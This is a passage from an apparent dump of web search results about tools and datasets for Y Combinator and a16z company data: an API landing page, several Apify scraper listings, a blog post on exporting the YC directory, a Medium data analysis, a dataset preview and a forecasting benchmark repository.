Combinator6,204a16zAndreessen Horowitz (a16z)849\n\n[![ExploreYC \u2014 Open-source API for Y Combinator & a16z company data | Product Hunt](https://api.producthunt.com/widgets/embed-image/v1/featured.svg?post_id=1190010&theme=light&t=1783529184370)](https://www.producthunt.com/products/yc-company-explorer?embed=true&utm_source=badge-featured&utm_medium=badge&utm_campaign=badge-exploreyc-2)[![ExploreYC \u2014 Open-source API for Y Combinator & a16z company data | Product Hunt](https://api.producthunt.com/widgets/embed-image/v1/top-post-badge.svg?post_id=1190010&theme=light&period=daily&t=1783772611367)](https://www.producthunt.com/products/yc-company-explorer?embed=true&utm_source=badge-top-post-badge&utm_medium=badge&utm_campaign=badge-exploreyc-2)\n\n$ curl api.exploreyc.com/api/v1\n\n## > YC data, one request away\n\nA public REST API over every company we track \u2014 YC & a16z. Authenticate, query, and get structured JSON back. No scraping.\n\n01\n\n### Grab a key\n\nCreate a free developer account and generate an API key from the dashboard.\n\n`eyc_live_\u2022\u2022\u2022\u2022\u2022\u2022\u2022\u2022`[Get a key ](/signup)\n\n02\n\n### Send a request\n\nPass your key as a bearer token. Filter by batch, industry, country, hiring & more.\n\n`Authorization: Bearer eyc_live_\u2026`[See params ](/api-docs)\n\n03\n\n### Get YC data\n\nClean JSON across YC + a16z \u2014 companies, search, stats, maps, batch wrapped.\n\n`200 OK \u00b7 application/json`[Browse data ](/database)\n\nFree tier available \u00b7 rate-limited \u00b7 no credit card\n\n| Company | Batch | Industry | Location | Team | Hiring |\n|---|---|---|---|---|---|\n| [![Edgerun](https://bookface-images.s3.amazonaws.com/small_logos/8fb84bc8b7f8d02b776dec7685bbaf102fdadf1c.png)Edgerun](/company/edgerun) | Summer 2026 | Industrials | San Francisco, CA, USA | 8 | \u2014 |\n| [![Covera](https://bookface-images.s3.amazonaws.com/small_logos/e711e58f600a9ea3c53a45d934c825989e9b5b57.png)Covera](/company/covera) | Fall 2026 | Fintech | San Francisco, CA, USA | 2 | |\n| [![Studio](https://bookface-images.s3.amazonaws.com/small_logos/be382958698206c30f9e2a1996b85d6729c8ed0b.png)Studio](/company/studio) | Summer 2026 | B2B | San Francisco, CA, USA | 2 | \u2014 |\n| [![Allia Health](https://bookface-images.s3.amazonaws.com/small_logos/3d6f40f216c0da6b1f8b4caa594f59a5b194dd82.png)Allia Health](/company/allia-health) | Summer 2026 | Healthcare | New York City, NY, USA | 3 | \u2014 |\n| [![Capveon](https://bookface-images.s3.amazonaws.com/small_logos/55acb7275a696cdf957737bce96b338f2da2d45f.png)Capveon](/company/capveon) | Fall 2026 | Government | San Francisco, CA, USA | 2 | \u2014 |\n| [![Grocalo](https://bookface-images.s3.amazonaws.com/small_logos/0f" }, { "url": "https://apify.com/neuton/ycombinator-companies-scraper", "title": "Y Combinator Companies Scraper | YC Directory Export \u00b7 Apify", "content_head": "![Y Combinator Companies Scraper avatar](https://apify.com/img/store/actor_picture.svg)\nY Combinator Companies Scraper\n\n![Y Combinator Companies Scraper](https://apify.com/img/store/actor_picture.svg)\n\nExport YC startup directory data for VC scouting, founder prospecting, B2B sales lists, recruiting, market maps, and startup research. This actor is built for people searching for a YC companies API, YC startup directory export, Y Combinator portfolio scraper, or YC company CSV.\n\n## What you can scrape\n\n- YC top companies\n- YC companies currently hiring\n- All public launched YC companies\n- Women-founded, Black-founded, Hispanic/Latino-founded, and nonprofit YC companies\n- Companies filtered by batch, industry, tag, or keyword\n\n## Output\n\nEach row includes company name, YC profile URL, website, batch, status, industry, subindustry, one-liner, long description, team size, locations, tags, founder-highlight flags, launch state, and source list.\n\n## Example input\n\n```\n```\n\n## Common workflows\n\n- Build a CRM list of recently launched YC startups\n- Track YC companies currently hiring\n- Find AI, fintech, devtools, healthcare, or climate startups\n- Enrich a venture pipeline with websites and descriptions\n- Export a CSV of YC companies for Airtable, HubSpot, Clay, or Notion\n\n## SEO keywords\n\nYC companies scraper, Y Combinator scraper, YC company API, YC startup directory export, Y Combinator portfolio scraper, YC companies CSV, startup database scraper, venture capital prospecting data, founder prospecting dataset.\n\n## Pricing recommendation\n\nLaunch around $3 per 1,000 company rows. This reflects the stronger buyer intent for VC scouting, startup prospecting, recruiting, and B2B sales workflows while staying within the portfolio's no-loss pricing rules.\n\n## Data source note\n\nThis actor uses public YC directory-derived JSON snapshots and returns only public company metadata. It does not collect private founder contact data.\n\n## Responsible use\n\nUse this actor for legitimate startup research, venture scouting, recruiting, market mapping, and B2B prospecting. Avoid spam, misleading outreach, or attempts to infer private founder information from public directory metadata." }, { "url": "https://apify.com/shahidirfan/y-combinator-scraper", "title": "Y Combinator Scraper \u00b7 Apify", "content_head": "![Y Combinator Scraper avatar](https://images.apifyusercontent.com/TDPmAcpQ-1g2tI9lJMqdzE3ocay6emPb6SCNLwshhP8/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vbHRERFl5dXg4VENxSmRIdnUtYWN0b3Itek10b2NEVG9TMnVhZElidTktT01VVGtMVmN3bS1ZX0NvbWJpbmF0b3JfbG9nby5zdmcucG5n.webp)\nY Combinator Scraper\n\n![Y Combinator Scraper](https://images.apifyusercontent.com/TDPmAcpQ-1g2tI9lJMqdzE3ocay6emPb6SCNLwshhP8/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vbHRERFl5dXg4VENxSmRIdnUtYWN0b3Itek10b2NEVG9TMnVhZElidTktT01VVGtMVmN3bS1ZX0NvbWJpbmF0b3JfbG9nby5zdmcucG5n.webp)\n\n# Y Combinator Companies Scraper\n\nExtract structured company data from the Y Combinator directory in a fast, reliable format. Collect startup profiles, locations, batches, hiring signals, and optional founder/job details for research and analysis.\n\n## Features\n\n- **Dynamic listing extraction** \u2014 Collect companies from YC listing pages with pagination support.\n- **Richer company fields** \u2014 Enrich records with Algolia-backed fields such as industries, regions, stage, and launch date.\n- **Optional detail depth** \u2014 Enable founder and open-jobs scraping only when needed.\n- **Flexible scope control** \u2014 Use results limit, max pages, or scrape-all mode.\n- **Clean dataset output** \u2014 Ready for BI tools, spreadsheets, APIs, and automations.\n\n## Use Cases\n\n### Startup Market Research\n\nBuild a current dataset of YC companies to analyze sectors, company stages, and geography.\n\n### Talent and Hiring Intelligence\n\nTrack companies that are actively hiring and collect optional open role details.\n\n### Founder and Ecosystem Mapping\n\nEnable founder extraction to map founder profiles and ecosystem relationships.\n\n### Batch and Cohort Analysis\n\nCompare YC cohorts over time using batch, launch timing, and growth indicators.\n\n## Input Parameters\n\nInput Parameters\n| Parameter | Type | Required | Default | Description |\n|---|---|---|---|---|\n| `url` | String | No | `https://www.ycombinator.com/companies/industry/all` | YC listing URL to start from. |\n| `scrape_all_companies` | Boolean | No | `false` | Ignore result limit and scrape all available listings (bounded by max pages). |\n| `results_wanted` | Integer | No | `20` | Maximum records to save when scrape-all is disabled. |\n| `max_pages` | Integer | No | `5` | Safety cap for listing pagination. |\n| `proxyConfiguration` | Object | No | Apify Proxy Residential | Proxy settings for reliability. |\n\n## Output Data\n\nEach dataset item includes:\n\n| Field | Type | Description |\n|---|---|---|\n| `company_id` | String | YC company ID |\n| `slug` | String | Company slug |\n| `company_name` | String | Company name |\n| `url` | String | Absolute YC company profile URL |\n| `short_description` | String | One-liner description |\n| `long_description` | String | Detailed company description |\n| `batch` | String | YC batch label |\n| `status` | String | Company status |\n| `company_location` | Str" }, { "url": "https://apify.com/solidcode/ycombinator-scraper", "title": "Y Combinator Scraper \u00b7 Apify", "content_head": "![Y Combinator Scraper avatar](https://images.apifyusercontent.com/W65zKPqvHNAj1TaVJrRptogS5q2glahy9F4v-z6Kd5s/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vc01VSWpTcEpUMXpia1BpTk0tYWN0b3ItSWVjc3dhQ1FTTkd3WEdqbkctZVE3NGFpTjZlTS0xMjAweDYzMHdhLnBuZw.webp)\nY Combinator Scraper\n\n![Y Combinator Scraper](https://images.apifyusercontent.com/W65zKPqvHNAj1TaVJrRptogS5q2glahy9F4v-z6Kd5s/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vc01VSWpTcEpUMXpia1BpTk0tYWN0b3ItSWVjc3dhQ1FTTkd3WEdqbkctZVE3NGFpTjZlTS0xMjAweDYzMHdhLnBuZw.webp)\n\nPull every YC-funded company, founder, and open job from ycombinator.com/companies at scale \u2014 complete with batch codes, industry verticals, hiring flags, founder LinkedIn and X profiles, salary and equity ranges, and seven social handles per company. Built for VC sourcing teams, recruiters, and B2B sales teams who need a fresh, structured YC alumni dataset without hand-crafting filter URLs or stitching together founder bios one tab at a time.\n\n## Why This Scraper?\n\n- **Full directory coverage \u2014 44 batches from W05 through F25** \u2014 every cohort in YC's public alumni list, from the 2005 founding class to the latest Fall batch, all in one run.\n- **Eight industry verticals, six team-size bands, eleven regions** \u2014 multi-select filters for B2B, Consumer, Fintech, Healthcare, Industrials, Education, Government, Real Estate & Construction, plus team-size bands from solo founder up to 500+ and regions including the auto-expanding \"Asia\" group (covers South Asia, Southeast Asia, and East Asia in one click).\n- **Founders embedded on every row** \u2014 full name, title, bio, LinkedIn URL, and X (Twitter) URL for every co-founder, typically 1 to 4 per company, no extra credits charged.\n- **Open jobs with salary and equity ranges** \u2014 when a company is hiring, every posting comes with title, location, role, salary range, equity range, required skills, years of experience, and visa-sponsorship status.\n- **Seven social handles per company** \u2014 website, LinkedIn, X, Facebook, Crunchbase, GitHub, plus the canonical YC profile URL.\n- **`isHiring` quick-filter** \u2014 flip a single toggle to return only companies actively recruiting today, no URL building required.\n- **Three input modes in one actor** \u2014 paste filter URLs (`?batch=W24&industry=B2B`), paste single-company URLs (`/companies/airbnb`), or use the guided multi-select filters. Mix all three in the same run.\n- **Free-text search across the directory** \u2014 search by company name, tagline, or technology keyword (`\"AI agents\"`, `\"developer tools\"`) and get exactly what the YC search box returns.\n- **camelCase output, ready for production** \u2014 clean, predictable field names that drop straight into databases, dashboards, and CRMs without renaming.\n\n## Use Cases\n\n**VC Sourcing & Pipeline Building**\n\n- Track every new batch the moment it goes live and triage by vertical\n- Build a watchlist of Active compan" }, { "url": "https://dev.to/nexgendata/how-to-export-yc-company-directory-data-for-vc-sourcing-2lm9", "title": "How to Export YC Company Directory Data for VC Sourcing", "content_head": "Y Combinator's accelerator alumni list is one of the most concentrated sources of high-signal startup data on the public web. Every batch ships a fresh cohort of vetted founders, sector bets, and team-size signals that VC associates, growth-fund sourcing analysts, executive recruiters, and B2B sellers all want to operationalize. The problem: YC's official directory at *ycombinator.com/companies* is paginated, JavaScript-rendered, and offers no bulk export. This post walks through how to extract the full YC directory cleanly, what fields you get, and how to wire the output into a sourcing pipeline, a recruiter target list, or a market-mapping deck.\n\n## The problem: YC's directory is unscrapeable by hand\n\nAnyone who has tried to compile a workable list from *ycombinator.com/companies* has hit the same wall. The page renders on the client, paginates infinitely as you scroll, and exposes no CSV button, no public API, and no per-batch download. Browser-based copy-paste falls apart past the first hundred rows, and the underlying JSON endpoint rotates structure often enough that an in-house scraper turns into a maintenance liability inside a quarter.\n\nFor a VC associate trying to build a follow-on pipeline across the last four batches, that means hours of manual collection per refresh, with no guarantee of completeness. A growth-stage sourcing analyst building a sector watchlist (say, every YC fintech from W20 onward) faces the same tax. Executive recruiters mapping founder talent for portfolio searches, sales reps targeting funded startups, and operators doing competitive-landscape work all run into the same constraint: the data is public, but it is not portable.\n\nThe cost compounds. A typical sourcing analyst spends two to three afternoons per quarter on YC list-building that could be a five-minute job. That time would be better spent on first-call diligence, founder warm intros, or partner-meeting prep. And because the manual list inevitably misses companies, the downstream pipeline is undercount-biased exactly where the bias hurts most: early-stage, low-team-size companies that haven't yet shown up in Crunchbase or PitchBook. Those are the targets a follow-on investor or seed-stage GP most wants to see first.\n\nThe fix is to treat YC's directory the way you'd treat any other structured public data source: extract it once, schedule a delta refresh, and pipe it into the system of record where your analysts and reps already work.\n\n## Why this data matters: who uses it and what it powers\n\nThe buyer for YC directory data isn't a single role. It's a spread of adjacent personas who all converge on the same fields.\n\n**VC associates and sourcing analysts** use the directory to build follow-on pipelines and seed-deal flow. The standard workflow is to pull every company from the last two to four batches that matches a sector thesis (vertical SaaS, climate, vertical AI, fintech infra), dedupe against the firm's CRM, and route fresh names to partners. Batch these" }, { "url": "https://apify.com/opendata-labs/ycombinator-scraper", "title": "Y Combinator Scraper \u00b7 Apify", "content_head": "![Y Combinator Scraper avatar](https://images.apifyusercontent.com/3RSm9CVsSHcdlldJ3JaTwzhn43ph2EfY7FkOdz0pklI/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vY0pnM216cDZpck5kN1R2UEktYWN0b3ItaEhndUNscUNCNlZoZEdjdEYtQnVsZmIzVm45cy1vcGVuZGF0YS1pY29uLXljb21iaW5hdG9yLnBuZw.webp)\nY Combinator Scraper\n\n![Y Combinator Scraper](https://images.apifyusercontent.com/3RSm9CVsSHcdlldJ3JaTwzhn43ph2EfY7FkOdz0pklI/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vY0pnM216cDZpck5kN1R2UEktYWN0b3ItaEhndUNscUNCNlZoZEdjdEYtQnVsZmIzVm45cy1vcGVuZGF0YS1pY29uLXljb21iaW5hdG9yLnBuZw.webp)\n\n# Y Combinator Scraper \u2014 Companies, Founders & Jobs\n\nExtract the **entire Y Combinator startup directory** as clean, structured data: every company across every batch, their **founders with LinkedIn & Twitter**, and **live job postings** with salary and equity ranges.\n\nBuilt for **B2B prospecting, tech recruiting, VC/startup research and lead generation** \u2014 find and reach the people behind YC-funded companies.\n\nThe actor reads only **public, official YC data** (the YC company directory and public company profile pages), so it needs **no login, no API key and no proxy**, and it stays reliable run after run.\n\n## What you can scrape\n\nWhat you can scrape\n| Mode | One row per | Best for |\n|---|---|---|\n| **Companies** | Company | Market research, building a YC company list, B2B prospecting |\n| **Founders** | Founder | Recruiting, founder outreach, lead lists (name, title, LinkedIn, Twitter) |\n| **Jobs** | Open role | Candidate sourcing, job boards, hiring-signal monitoring |\n| **Company details** | Company (deep) | Full profile + founders + jobs for a specific list of companies |\n\n## Filters\n\nNarrow the directory down to exactly the segment you want:\n\n- **Search text** \u2014 match name, one-liner, description and tags\n- **Batch** \u2014 `Winter 2024` or short code `W24` / `S23` / `F24` / `SP25`\n- **Status** \u2014 Active, Acquired, Public, Inactive\n- **Industry** \u2014 Fintech, Healthcare, B2B, \u2026\n- **Tag** \u2014 Artificial Intelligence, SaaS, Developer Tools, \u2026\n- **Region** \u2014 United States of America, Europe, Remote, \u2026\n- **Only hiring** / **Only top companies**\n\n> Example: *all Active Fintech companies from Winter 2024 that are hiring* \u2192 set `status=Active`, `industry=Fintech`, `batch=W24`, `isHiring=true`.\n\n## Example output\n\n**Founders mode**\n\n```\n { \"fullName\" : \"Brian Chesky\" , \"title\" : \"Founder/CEO\" , \"linkedinUrl\" : \"https://www.linkedin.com/in/brianchesky\" , \"twitterUrl\" : \"https://twitter.com/bchesky\" , \"hasEmail\" : true , \"companyName\" : \"Airbnb\" , \"companySlug\" : \"airbnb\" , \"batch\" : \"Winter 2009\" , \"companyWebsite\" : \"https://airbnb.com\" }\n```\n\n**Jobs mode**\n\n```\n { \"title\" : \"Full-Stack Robotics Engineer\" , \"role\" : \"Engineering\" , \"type\" : \"Full-time\" , \"location\" : \"Deerfield, MA, US / Remote (US)\" , \"salaryRange\" : \"$140K - $250K\" , \"equityRange\" : \"0.10% - 0.40%\" , \"skills\" : [ \"React\" , \"Node.j" }, { "url": "https://apify.com/muzafferkadir/yc-startups-scraper", "title": "YC Startup Scraper | Batches, Industries & Founders \u00b7 Apify", "content_head": "![YC Startup Scraper | Batches, Industries & Founders avatar](https://images.apifyusercontent.com/7pPoIp2cnQKbl18b6XdHAMb82Sx1-fSHXtxp7EYTAQQ/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vcUpTSUdtMGZ6RGEwY1dYT2ktYWN0b3IteU9IUTYwaHBrMFFsd1NsNWctNnZTUnptRTNFZS1pY29uLnBuZw.webp)\nYC Startup Scraper | Batches, Industries & Founders\n\n![YC Startup Scraper | Batches, Industries & Founders](https://images.apifyusercontent.com/7pPoIp2cnQKbl18b6XdHAMb82Sx1-fSHXtxp7EYTAQQ/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vcUpTSUdtMGZ6RGEwY1dYT2ktYWN0b3IteU9IUTYwaHBrMFFsd1NsNWctNnZTUnptRTNFZS1pY29uLnBuZw.webp)\n\n# YC Startup Directory Scraper\n\nScrapes the Y Combinator company directory with filters for startup discovery, lead generation, recruiting, and market research.\n\n## Features\n\n- Filter companies by batch, industry, tag, status, region, and team size\n- Search by company name, one-liner, or description\n- Return curated lists such as top companies, hiring companies, and nonprofits\n- Combine multiple filters in one run\n- Collect company profiles, websites, descriptions, tags, locations, and hiring status\n\n## Input\n\nInput\n| Parameter | Type | Default | Description |\n|---|---|---|---|\n| `list` | string | `all` | Base list: `all`, `top`, `hiring`, or `nonprofit` |\n| `batch` | string | - | YC batch |\n| `industry` | string | - | Industry filter |\n| `tag` | string | - | Tag filter |\n| `query` | string | - | Free-text search |\n| `status` | array | - | Company status filter |\n| `isHiring` | boolean | `false` | Only companies currently hiring |\n| `topOnly` | boolean | `false` | Only YC top companies |\n| `region` | string | - | Location or region filter |\n| `minTeamSize` | number | - | Minimum team size |\n| `maxTeamSize` | number | - | Maximum team size |\n| `maxItems` | number | all | Maximum number of companies |\n\n## Examples\n\n### Recent batch\n\n```\n```\n\n### Hiring companies\n\n```\n```\n\n### Search by keyword\n\n```\n```\n\n## Output\n\nEach dataset item contains company data such as:\n\n- Company ID, name, slug, website, and YC profile URL\n- One-liner, description, batch, status, stage, and industry\n- Tags, team size, location, regions, and hiring status\n- Top company and nonprofit flags\n- Logo URL, launch timestamp, and scrape timestamp" }, { "url": "https://medium.com/@anish.rai3737/unpacking-trends-insights-from-4-900-y-combinator-startups-c3113b2f1cec", "title": "Unpacking Trends: Insights from 4,900+ Y Combinator Startups", "content_head": "# Unpacking Trends: Insights from 4,900+ Y Combinator Startups\n\nI was filled with excitement and ambition when I started my entrepreneurial journey. I had heard of Y Combinator\u2014this mythical accelerator behind companies like Airbnb and Stripe\u2014and dreamed of one day building something extraordinary. But like many startups, mine didn\u2019t make it. The failure left me disheartened, and my interest in the startup scene faded for a while.\n\nRecently, though, that old spark reignited. I found myself curious again: *What\u2019s happening in the startup world now? What are the trends shaping the future?* And what better place to start than with Y Combinator, home to some of the most innovative companies in the world?\n\nSo, I dove into a dataset of over 4,900 YC-funded companies, hoping to uncover patterns and stories that define today\u2019s startup ecosystem. Note that the dataset was obtained by scrapping Y combinator's official website. The dataset includes key attributes such as company name, location (city), team size, founding date, founders\u2019 names, Y Combinator batch in which companies participated, region (state-city-country), etc. If you want to know more about the dataset [click here](https://www.kaggle.com/datasets/supremesun/complete-ycombinator-dataset-from-2005-2024).\n\n## Data Cleaning And Preprocessing\n\nThe dataset required some cleaning and preprocessing before it could be used for analysis as I didn\u2019t clean the data in Scrapy using the data pipeline. While I won\u2019t go into all the technical details, I followed a few essential steps to ensure the data was ready for insights:\n\n- **Handling Duplicates:** I began by checking for duplicates in the dataset, and fortunately, I found no duplicate records, ensuring the data\u2019s integrity.\n- **Dealing with Missing Values:** Some columns had missing values, which I addressed by filling integer columns with a placeholder value of -99. This approach allowed me to keep the data intact without having to drop rows during analysis. As for string columns, like missing locations, I used the region column to fill in some missing values.\n- **Correcting Data Types:** I also ensured that the data types of certain columns were aligned correctly, making sure the dataset was consistent and suitable for analysis.\n- **Structuring Data:** For columns such as tags and industries, I transformed string-based entries into list formats as they contained multi-label data. This restructuring made the data more accessible and suitable for further exploration.\n- **Handling Outliers:** Columns like team size contained some outliers, but after review, I found out they represented valid data points. Therefore, I chose not to remove them, as they could be addressed later if needed for specific analyses.\n- **Handling Feature Engineering:** I created five new columns by combining multiple columns, grouping values, and extracting specific information. For example, I extracted the year companies joined the Y Combinator program from the batch column (" }, { "url": "https://huggingface.co/datasets/calebheinzman/YC_Founders", "title": "calebheinzman/YC_Founders \u00b7 Datasets at Hugging Face", "content_head": "Y Combinator Founders \u2014 Preview This is a small preview of Y Combinator founder records. Use it to validate schema, try matching routines, and test scripts. To purchase the complete dataset with full coverage and recurring updates, visit https://www.thedataoutlet.com. Buy the full dataset: https://www.thedataoutlet.com What you get in this preview One CSV under 1,000 rows Founder to company mappings with basic attributes and links File list YC_Founders.csv Quickstart from datasets import load_dataset ds = load_dataset(\"csv\", data_files=\"YC_Founders.csv\", split=\"train\") print(ds[0]) import pandas as pd df = pd.read_csv(\"YC_Founders.csv\") df.head() Suggested schema | Column | Type | Notes | | Founder Name | string | Full name | | Company | string | YC startup | | Batch | string | e.g., S24, W23 | | Role | string | CEO, CTO, Co-founder | | Email | string | If available | | LinkedIn | string | Profile URL | | Twitter | string | Handle or URL | | Website | string | Company or personal site | | City | string | | Country | string | | Category | string | Sector tag | | Notes | string | Free text | | Date Accessed | string | Collection timestamp | Uses Prospecting YC alumni by batch, role, or sector CRM enrichment and graph building Training data for NER and entity resolution Get the complete dataset The paid version includes more rows, normalized entities, and scheduled refreshes. Purchase here: https://www.thedataoutlet.com License and terms Evaluation only. No redistribution. No resale. Use implies acceptance of terms on the purchase page. Support Questions or custom fields? Contact us via https://www.thedataoutlet.com and mention \u201cYC Founders\u201d. Downloads last month 10" }, { "url": "https://apify.com/genz-coder/yc-intelligence-pro", "title": "YC Intelligence Pro \u00b7 Apify", "content_head": "![YC Intelligence Pro avatar](https://images.apifyusercontent.com/GQI8X0SirydL47s8XdXHR2TNSM4YABJl3-3VqkmdmEg/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vdWg5WXdmUFdtT2x3Tk1HMVktYWN0b3ItY3ZkbjNrWmRlRjEwVnE1UnMtWEhLYTBxVWtXYS15dXBwLWdlbmVyYXRlZC1pbWFnZS00NDUyMDMucG5n.webp)\nYC Intelligence Pro\n\n![YC Intelligence Pro](https://images.apifyusercontent.com/GQI8X0SirydL47s8XdXHR2TNSM4YABJl3-3VqkmdmEg/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vdWg5WXdmUFdtT2x3Tk1HMVktYWN0b3ItY3ZkbjNrWmRlRjEwVnE1UnMtWEhLYTBxVWtXYS15dXBwLWdlbmVyYXRlZC1pbWFnZS00NDUyMDMucG5n.webp)\n\n# YC Intelligence Pro - Complete Startup Data Platform\n\n**Extract comprehensive Y Combinator startup intelligence with 40+ fields per company.** The most advanced YC scraper on Apify with dual-mode input (custom URLs or advanced filter builder), founder details, job listings, and enterprise-grade data quality.\n\n---\n\n## \ud83c\udfc6 Why Choose YC Intelligence Pro?\n\nPremium Features That Beat All Competitors\n| Feature | YC Intelligence Pro | Basic YC Scrapers |\n|---|---|---|\n| **Data Fields** | **40+ comprehensive** | 10-15 basic |\n| **Pricing** | **$8 per 1,000** | $15/1K or limited |\n| **Filter Builder** | \u2705 Advanced dual-mode | \u274c URL only |\n| **Batch Support** | \u2705 All batches 2005-2025 | Limited |\n| **Region Filters** | \u2705 100+ regions | Basic |\n| **Industry Filters** | \u2705 50+ industries | Limited |\n| **Team Size Filter** | \u2705 Granular ranges | \u274c |\n| **Founder Details** | \u2705 LinkedIn, Twitter, titles | Limited |\n| **Parallel Processing** | \u2705 2x faster | Sequential |\n| **Auto-Retry** | \u2705 95%+ success rate | Often fails |\n| **Production Ready** | \u2705 Enterprise-grade | Varies |\n\n---\n\n## \u26a1 Quick Start\n\n### Option 1: Custom URL (Fastest - 30 seconds)\n\n1. Go to [Y Combinator Companies](https://www.ycombinator.com/companies)\n2. Apply your desired filters on YC's website\n3. Copy the complete URL from your browser\n4. Paste into **\"Custom URL\"** field\n5. Set max companies\n6. Click **Start**\n**Example URLs**:\n\nAll companies: [https://www.ycombinator.com/companiesSummer](https://www.ycombinator.com/companiesSummer) 2024 AI startups that are hiring: [https://www.ycombinator.com/companies?batch=Summer%202024&industry=B2B&isHiring=trueTop](https://www.ycombinator.com/companies?batch=Summer%202024&industry=B2B&isHiring=trueTop) Healthcare companies: [https://www.ycombinator.com/companies?top_company=true&industry=Healthcare](https://www.ycombinator.com/companies?top_company=true&industry=Healthcare)\n\n---\n\n### Option 2: Advanced Filter Builder (Most Flexible)\n\n1. Leave \"Custom URL\" empty\n2. Configure filters:\n - **Special Filters**: Top companies, hiring status, nonprofit\n - **Batch**: Select YC batches (2005-2025) - **supports multiple!**\n - **Industry**: Choose from 50+ industries - **supports multiple!**\n - **Region**: Filter by 100+ countries/regions - **supports multiple!**\n - **Team Si" }, { "url": "https://github.com/benstaf/ycbench", "title": "GitHub - benstaf/ycbench: YC Bench: a Live Benchmark for Forecasting Startup Outperformance in Y Combinator Batches arXiv:2604.02378", "content_head": "# YC Bench: a Live Benchmark for Forecasting Startup Outperformance in Y Combinator Batches\n\n## Paper: [https://arxiv.org/abs/2604.02378](https://arxiv.org/abs/2604.02378)\n\n[![](https://camo.githubusercontent.com/bc33632a34cde482bef1c4c642070facbc2f43b8c6b55779f091bbe2d634b8ac/68747470733a2f2f646362616467652e6c696d65732e70696e6b2f6170692f7365727665722f656b7279537552426634)](https://discord.gg/ekrySuRBf4)\n\nForecasting which startups will dominate a YC batch \u2014 **months before Demo Day**.\n\n---\n\n## Overview\n\nYC Bench turns every Y Combinator batch into a rapid-evaluation environment for startup success prediction. Instead of waiting 7\u201310 years for exits or large funding rounds, we use the **Pre-Demo Day Score** \u2014 a short-term proxy metric that combines public traction signals and Google web mentions.\n\nThis repository contains all data, collection scripts, scoring code, and analysis for the **YC W26 batch** (196 startups).\n\n## Repository Structure\n\n```\nycbench/\n\u251c\u2500\u2500 yc_w26_startups.csv # Main list of YC W26 companies\n\u251c\u2500\u2500 yc_mentions.csv # Google mentions during the batch\n\u251c\u2500\u2500 yc_mentions_early.csv # Pre-application Google mentions (baseline)\n\u251c\u2500\u2500 YC_W26_Google_Mentions.ipynb # Colab notebook for data collection & visualizations\n\u251c\u2500\u2500 yc_google.py # Google mentions scraping utilities\n\u251c\u2500\u2500 requirements.txt\n\u251c\u2500\u2500 scripts/\n\u2502 \u251c\u2500\u2500 scrape/ # Data collection scripts\n\u2502 \u251c\u2500\u2500 processing/ # Data cleaning pipelines\n\u2502 \u2514\u2500\u2500 scoring/ # Pre-Demo Day Score computation\n\u251c\u2500\u2500 fix_pipeline.sh\n\u251c\u2500\u2500 paper/ # LaTeX paper\n\u2514\u2500\u2500 figures/ # Charts from the paper\n```\n\n## Key Features\n\n- Scripts to collect fresh Google mentions data\n- Colab notebook for easy data collection and visualization\n- Pre-computed mentions (during batch + pre-application baseline)\n- Traction data integration\n- Baseline model (pre-YC application Google mentions)\n\n## Quick Start\n\n### 1. Clone the repository\n\n```\ngit clone https://github.com/benstaf/ycbench.git\ncd ycbench\npip install -r requirements.txt\n```\n\n### 2. Explore with Colab (Recommended)\n\n[![Open in Colab](https://camo.githubusercontent.com/eff96fda6b2e0fff8cdf2978f89d61aa434bb98c00453ae23dd0aab8d1451633/68747470733a2f2f636f6c61622e72657365617263682e676f6f676c652e636f6d2f6173736574732f636f6c61622d62616467652e737667)](https://colab.research.google.com/github/benstaf/ycbench/blob/main/YC_W26_Google_Mentions.ipynb)\n\n## Results \u2014 YC W26 Batch\n\nA simple baseline using **Google mentions before the YC application deadline** achieved:\n\n- **Precision@20**: 70%\n- **Recall@11**: 55%\n- **Lift over random**: 7\u00d7\n- **Forecasting horizon**: ~5 months\nFull details are available in the paper.\n\n## Paper\n\n**Title**: YC Bench: a Live Benchmark for Forecasting Startup Outperformance in Y Combinator Batches\n**Author**: Mostapha Benhenda\n\n[\ud83d\udcc4 https://arxiv.org/abs/2604.02378](https://arxiv.org/abs/2604.02378)\n\n" }, { "url": "https://apify.com/memo23/y-combinator-scraper?fpr=ewv9tm", "title": "Y Combinator \u00b7 YC \u00b7 Only $1\ud83d\udcb0 \u00b7 Jobs & Companies scraper \u00b7 Apify", "content_head": "![Y Combinator \u00b7 YC \u00b7 Only $1\ud83d\udcb0 \u00b7 Jobs & Companies scraper avatar](https://images.apifyusercontent.com/1dCsA32dXqsKjVqSgPXGofYUa8e0ZrnfIVZpyeOdc3Q/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vbmduOHZSRVNUa3NleVdFNnAtYWN0b3ItU3JJZmNkcktzNlZKcjdNOFctR1BiRDMwTjBZTC15Yy5qcGc.webp)\nY Combinator \u00b7 YC \u00b7 Only $1\ud83d\udcb0 \u00b7 Jobs & Companies 